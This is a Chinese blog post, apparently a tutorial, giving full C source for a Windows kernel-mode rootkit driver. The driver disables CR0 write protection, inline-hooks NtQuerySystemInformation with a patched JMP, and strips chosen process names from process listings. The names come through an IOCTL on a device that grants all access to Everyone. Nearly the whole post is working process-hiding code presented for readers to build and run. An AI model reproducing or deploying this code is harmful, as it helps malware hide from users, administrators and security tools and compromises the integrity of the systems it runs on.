内核层 inlinehook 隐藏进程
上次是SSDT HOOK 方式 隐藏 进程 ,如链接:http://blog.****.net/hjxyshell/article/details/16993119
这次是InlineHook 方式隐藏进程,这里inline hook的原理就不做详细介绍了,网上相关资源较多,撸主主要参考看雪的某大牛的“详谈内核三步走Inline Hook实现”(http://bbs.pediy.com/showthread.php?t=98493)
中间有一些关于进程的枚举的处理,上次写了个简单的代码:http://blog.****.net/hjxyshell/article/details/17312119
代码如下:
- #include <ntddk.h>
- #include <Wdmsec.h>
- #include <Wdm.h>
- //定义控制码
- #define MY_DVC_IN_CODE \
- (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\
- 0xa02,\
- METHOD_BUFFERED,\
- FILE_READ_DATA|FILE_WRITE_DATA)
- //隐藏进程链表相关变量
- //存放要隐藏进程的名字链表
- typedef struct _ProcNameLink
- {
- UNICODE_STRING ProcName;
- struct _ProcNameLink *pNext;
- }ProcNameLink,*pProcNameLink;
- pProcNameLink pProcNameHeader; //链表头部
- pProcNameLink pProcNameTail; //链表尾部
- //字节型数据 unsigned char
- typedef unsigned char BYTE;
- ULONG CR0VALUE; //设置cr0的读写标识
- BYTE OriginalBytes[5]={0}; //保存原始函数前五个字节
- BYTE JmpAddress[5]={0xE9,0,0,0,0}; //跳转到HOOK函数的地址
- //进程线程 信息 结构体
- struct _SYSTEM_THREADS
- {
- LARGE_INTEGER KernelTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER CreateTime;
- ULONG WaitTime;
- PVOID StartAddress;
- CLIENT_ID ClientIs;
- KPRIORITY Priority;
- KPRIORITY BasePriority;
- ULONG ContextSwitchCount;
- ULONG ThreadState;
- KWAIT_REASON WaitReason;
- };
- //进程信息结构体
- struct _SYSTEM_PROCESSES
- {
- ULONG NextEntryDelta;
- ULONG ThreadCount;
- ULONG Reserved[6];
- LARGE_INTEGER CreateTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER KernelTime;
- UNICODE_STRING ProcessName;
- KPRIORITY BasePriority;
- ULONG ProcessId;
- ULONG InheritedFromProcessId;
- ULONG HandleCount;
- ULONG Reserved2[2];
- VM_COUNTERS VmCounters;
- IO_COUNTERS IoCounters; //windows 2000 only
- struct _SYSTEM_THREADS Threads[1];
- };
- //原函数,获取进程(系统)相关信息
- NTSYSAPI
- NTSTATUS
- NTAPI NtQuerySystemInformation(
- IN ULONG SystemInformationClass,
- OUT PVOID SystemInformation,
- IN ULONG SystemInformationLength,
- OUT PULONG ReturnLength
- );
- NTSTATUS
- MyNtQuerySystemInformation(
- IN ULONG SystemInformationClass,
- OUT PVOID SystemInformation,
- IN ULONG SystemInformationLength,
- OUT PULONG ReturnLength
- );
- //改变函数前五个字节,使其跳到MyNtQuerySystemInformation函数中
- void HookNtQuerySystemInformation(
- // IN ULONG SystemInformationClass,
- // OUT PVOID SystemInfotmation,
- // IN ULONOG SystemInformatonLength,
- // OUT PULONG ReturnLength
- )
- {
- //赋值前面的数组
- KIRQL Irql;
- DbgPrint("[NtQuerySystemInformation]: 0x%x",NtQuerySystemInformation);
- //保存原函数前5个字节
- RtlCopyMemory(OriginalBytes,(BYTE*)NtQuerySystemInformation,5);
- //保存新函数5个字节自后的偏移
- *(ULONG*)(JmpAddress + 1) = (ULONG)MyNtQuerySystemInformation - ((ULONG)NtQuerySystemInformation+5);
- //开始inline hook 即将跳转到新函数指令拷贝到原函数前5个字节
- //关闭内存写保护
- __asm
- {
- //这里只用到eax,保存eax即可
- push eax
- mov eax,cr0
- mov CR0VALUE,eax
- and eax,0fffeffffh
- mov cr0,eax
- pop eax
- }
- //提升IRQL中断级(防止写的过程中出新中断,导致出错)
- Irql = KeRaiseIrqlToDpcLevel();
- //开始写函数的前5个字节(jmp 指令)
- RtlCopyMemory((BYTE*)NtQuerySystemInformation,JmpAddress,5);
- //恢复Irql
- KeLowerIrql(Irql);
- //开启内存写保护
- __asm
- {
- push eax
- mov eax,CR0VALUE
- mov cr0,eax
- pop eax
- }
- }
- //取消inline hook
- void UnHookNtQuerySystemInformation(
- // IN ULONG SystemInformationClass,
- // OUT PVOID SystemInfotmation,
- // IN ULONOG SystemInformatonLength,
- // OUT PULONG ReturnLength
- )
- {
- //把保存的五个字节写回原函数
- KIRQL Irql;
- //关闭写保护
- __asm
- {
- push eax
- mov eax,cr0
- mov CR0VALUE,eax
- and eax,0fffeffffh
- mov cr0,eax
- pop eax
- }
- //提升IRQL 到 Dpc
- Irql = KeRaiseIrqlToDpcLevel();
- RtlCopyMemory((BYTE*)NtQuerySystemInformation,OriginalBytes,5);
- KeLowerIrql(Irql);
- //开启内存写保护
- __asm
- {
- push eax
- mov eax,CR0VALUE
- mov cr0,eax
- pop eax
- }
- }
- //原函数
- _declspec (naked) NTSTATUS OriginalNtQuerySystemInformation(
- IN ULONG SystemInformationClass,
- OUT PVOID SystemInfotmation,
- IN ULONG SystemInformatonLength,
- OUT PULONG ReturnLength
- )
- {
- __asm{
- //这里的eax不是随便使用个寄存器就行的,因为
- //随便使用个寄存器很可能会破坏原来的值
- //因为eax的值在接下来会直接被覆盖(原来的值是什么不重要了),所以这里可以使用
- push 210h
- mov eax,NtQuerySystemInformation
- add eax,5
- jmp eax
- }
- }
- //MyNtQuerySystemInformation函数,再此处 进行进程隐藏处理
- NTSTATUS
- MyNtQuerySystemInformation(
- IN ULONG SystemInformationClass,
- OUT PVOID SystemInformation,
- IN ULONG SystemInformationLength,
- OUT PULONG ReturnLength
- )
- {
- NTSTATUS ntStatus;
- pProcNameLink pTempLink; //进程查询时使用
- //DbgPrint("it's here!!!\n");
- //查询系统信息
- ntStatus = OriginalNtQuerySystemInformation(
- SystemInformationClass,
- SystemInformation,
- SystemInformationLength,
- ReturnLength
- );
- if(NT_SUCCESS(ntStatus))
- {
- if(SystemInformationClass == 5)
- {
- //获取进程信息结构
- for((pTempLink = pProcNameHeader->pNext)&&(pTempLink != NULL);pTempLink !=NULL;)
- {
- //每次查看时 ,都从进程的列表开始查看
- struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
- struct _SYSTEM_PROCESSES *prev = NULL;
- while(curr)
- {
- if(curr->ProcessName.Buffer != NULL)
- {
- if(0 == memcmp(curr->ProcessName.Buffer,pTempLink->ProcName.Buffer,16)) //判断是否为要隐藏的进程
- {
- //判断眼隐藏的进程在链表的那个位置
- if(prev) //中间或最后
- {
- if(curr->NextEntryDelta)
- prev->NextEntryDelta += curr->NextEntryDelta;
- else // 在最后
- prev->NextEntryDelta = 0;
- }
- else
- {
- if(curr->NextEntryDelta)
- {
- // 要隐藏的进程在第一个
- (char *)SystemInformation += curr->NextEntryDelta;
- }
- else // 只有当前一个进程
- SystemInformation = NULL;
- }
- }
- }
- prev = curr;
- if(curr->NextEntryDelta)
- (char *)curr += curr->NextEntryDelta;
- else
- curr = NULL;
- }
- pTempLink = pTempLink->pNext;
- }
- }
- }
- return ntStatus;
- //return 1;
- }
- //向链表汇总加入新的要隐藏的进程
- VOID AddProcToLink(PUNICODE_STRING ProcName)
- {
- //先判断该进程是否已存在,已存在则不添加(不判断也不影响结果)
- pProcNameLink pNewLink = (pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink)); //新增节点
- (pNewLink->ProcName).Length = 0;
- (pNewLink->ProcName).MaximumLength = 256;
- (pNewLink->ProcName).Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, 256); //新增节点
- RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName); //复制
- pNewLink->pNext = NULL;
- pProcNameTail->pNext = pNewLink;
- pProcNameTail = pNewLink; //链表末尾
- }
- //移除某个进程
- VOID RmProcFromLink(PUNICODE_STRING pProcName)
- {
- pProcNameLink pNewLink = pProcNameHeader;
- if(pProcNameHeader->pNext == NULL)
- return;
- for( pNewLink;pNewLink->pNext != NULL;)
- {
- //找到,则从链表中删除
- if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)
- {
- pNewLink->pNext = pNewLink->pNext->pNext;
- if(pNewLink->pNext == NULL) //链表结尾,为指针标识赋值
- pProcNameTail = pNewLink;
- break;
- }
- pNewLink = pNewLink->pNext; //没有写在for里面是为了方便调试时下断点
- }
- }
- //卸载驱动
- VOID OnUnload(IN PDRIVER_OBJECT driver)
- {
- UNICODE_STRING symblink_name; //c语言定义变量放在前面
- DbgPrint("ROOTKIT: OnUnload called\n");
- // unhook ZwQuerySystemInformation
- UnHookNtQuerySystemInformation();
- if(IoIsWdmVersionAvailable(1,0x10))
- {
- //支持通用版本本,则创建全局符号链接\DosDevices\Global
- RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");
- }
- else
- {
- //不支持,用\DosDevices
- RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
- }
- IoDeleteSymbolicLink(&symblink_name );
- IoDeleteDevice(driver->DeviceObject);
- DbgPrint("our driver is unloading ... \r\n");
- }
- //分发函数
- NTSTATUS MyDispatchFunction(PDEVICE_OBJECT device, PIRP irp)
- {
- CHAR inBuffer[256];
- short flag = 1; //增加链表
- ANSI_STRING ansiBuffer;
- UNICODE_STRING unicodeBuffer;
- int i;
- //获得当前IRP调用的栈空间
- PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);
- NTSTATUS status = STATUS_INVALID_PARAMETER;
- memset(inBuffer,0,256);
- //处理各种请求
- switch(irpsp->MajorFunction)
- {
- case IRP_MJ_CREATE:
- {
- //简单返回一个IRP成功三部曲
- irp->IoStatus.Information = 0;
- irp->IoStatus.Status = STATUS_SUCCESS;
- IoCompleteRequest(irp,IO_NO_INCREMENT);
- //应用层,打开设备后 打印此字符串,仅为测试
- DbgPrint("congratulations gay,open device");
- status = irp->IoStatus.Status;
- break;
- }
- case IRP_MJ_CLOSE:
- {
- irp->IoStatus.Information = 0;
- irp->IoStatus.Status = STATUS_SUCCESS;
- IoCompleteRequest(irp,IO_NO_INCREMENT);
- //应用层,打开设备后 打印此字符串,仅为测试
- DbgPrint("congratulations gay,close device");
- status = irp->IoStatus.Status;
- break;
- }
- case IRP_MJ_DEVICE_CONTROL:
- {
- //得到功能号
- ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;
- //得到输入/输出缓冲区的长度
- ULONG in_len = irpsp->Parameters.DeviceIoControl.InputBufferLength;
- ULONG out_len = irpsp->Parameters.DeviceIoControl.OutputBufferLength;
- //输入、输出的缓冲区是公用的内存空间的
- PCHAR buffer = (PCHAR)irp->AssociatedIrp.SystemBuffer;
- //memcpy(inBuffer,buffer,in_len);
- //将短字符转化为宽字符
- if(buffer[0] == '-')
- flag = 0;
- ansiBuffer.Buffer = buffer+1;
- ansiBuffer.Length = ansiBuffer.MaximumLength = (USHORT)(in_len -1);
- RtlAnsiStringToUnicodeString(&unicodeBuffer, &ansiBuffer,TRUE);
- if(flag)
- AddProcToLink(&unicodeBuffer); //将要隐藏的进程加入到链表中
- else
- RmProcFromLink(&unicodeBuffer);
- DbgPrint("%ansiBuffer = %Z\n",&ansiBuffer); //注意是%Z
- DbgPrint("unicodeBuffer = %wZ\n",&unicodeBuffer);
- if(code == MY_DVC_IN_CODE)
- {
- DbgPrint("in_buffer_len = %d",in_len);
- DbgPrint("%s",buffer);
- //因为不返回信息,直接返回成功即可
- //没有用到输出缓冲区
- irp->IoStatus.Information = 0;
- irp->IoStatus.Status = STATUS_SUCCESS;
- }
- else
- {
- //控制码错误,则不接受请求,直接返回错误
- //注意返回错误和返回成功的区别
- irp->IoStatus.Information = 0;
- irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
- }
- IoCompleteRequest(irp,IO_NO_INCREMENT);
- status = irp->IoStatus.Status;
- break;
- }
- case IRP_MJ_READ:
- {
- break;
- }
- default:
- {
- DbgPrint("unknow request!!!");
- break;
- }
- }
- return status;
- }
- //驱动入口函数
- NTSTATUS DriverEntry(IN PDRIVER_OBJECT driver,
- IN PUNICODE_STRING reg_path)
- {
- ULONG i;
- NTSTATUS status;
- PDEVICE_OBJECT device;
- //设备名
- UNICODE_STRING device_name = RTL_CONSTANT_STRING(L"\\Device\\test");
- //符号连接名
- UNICODE_STRING symblink_name;
- //随手写一个GUID
- static const GUID MYGUID_CLASS_MYCDO =
- { 0x63542127, 0xfbbb, 0x49c8, { 0x8b, 0xf4, 0x8b, 0x7c, 0xb5, 0xef, 0xd3, 0x9e } };
- //static const GUID DECLSPEC_SELECTANY MYGUID_CLASS_MYCDO =
- //{ 0x8524767, 0x32fe, 0x4d86, { 0x9f, 0x48, 0xa0, 0x26, 0x94, 0xec, 0x71, 0x42 } };
- //全用户可读权限、写权限
- UNICODE_STRING sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");
- //初始化第一个结构体
- pProcNameHeader =(pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));
- pProcNameHeader->pNext = NULL;
- pProcNameTail = pProcNameHeader;
- //RtlInitUnicodeString(&(pProcNameHeader->ProcName),L"");
- //_asm int 3
- //生成设备
- status = IoCreateDeviceSecure(
- driver,
- 0,
- &device_name,
- FILE_DEVICE_UNKNOWN,
- FILE_DEVICE_SECURE_OPEN,
- FALSE,
- &sdd1,
- (LPCGUID)&MYGUID_CLASS_MYCDO,
- &device
- );
- if(!NT_SUCCESS(status))
- {
- DbgPrint("IoCreateDeviceSecure failed ");
- return status;
- }
- DbgPrint("good job1");
- //创建符号链接
- if(IoIsWdmVersionAvailable(1,0x10))
- {
- //支持通用版本本,则创建全局符号链接\DosDevices\Global
- RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");
- }
- else
- {
- //不支持,用\DosDevices
- RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
- }
- status = IoCreateSymbolicLink(&symblink_name,&device_name);
- if(!NT_SUCCESS(status))
- {
- DbgPrint("IoCreateSymbolicLink failed");
- return status;
- }
- DbgPrint("good job2");
- //初始化驱动处理
- for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
- {
- driver->MajorFunction[i] = MyDispatchFunction;
- }
- // save old system call locations
- //OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
- // Register a dispatch function for Unload
- driver->DriverUnload = OnUnload;
- // inline hook
- HookNtQuerySystemInformation();
- return STATUS_SUCCESS;
- }
_declspec (naked) NTSTATUS OriginalNtQuerySystemInformation 函数中的寄存器不是随便使用的,正如代码中注释所述一样,这里使用eax,因为eax的值会被直接覆盖,对后续程序并无影响
如图:
驱动安装运行后,在查看函数NtQuerySystemInformation,已经被我们掌控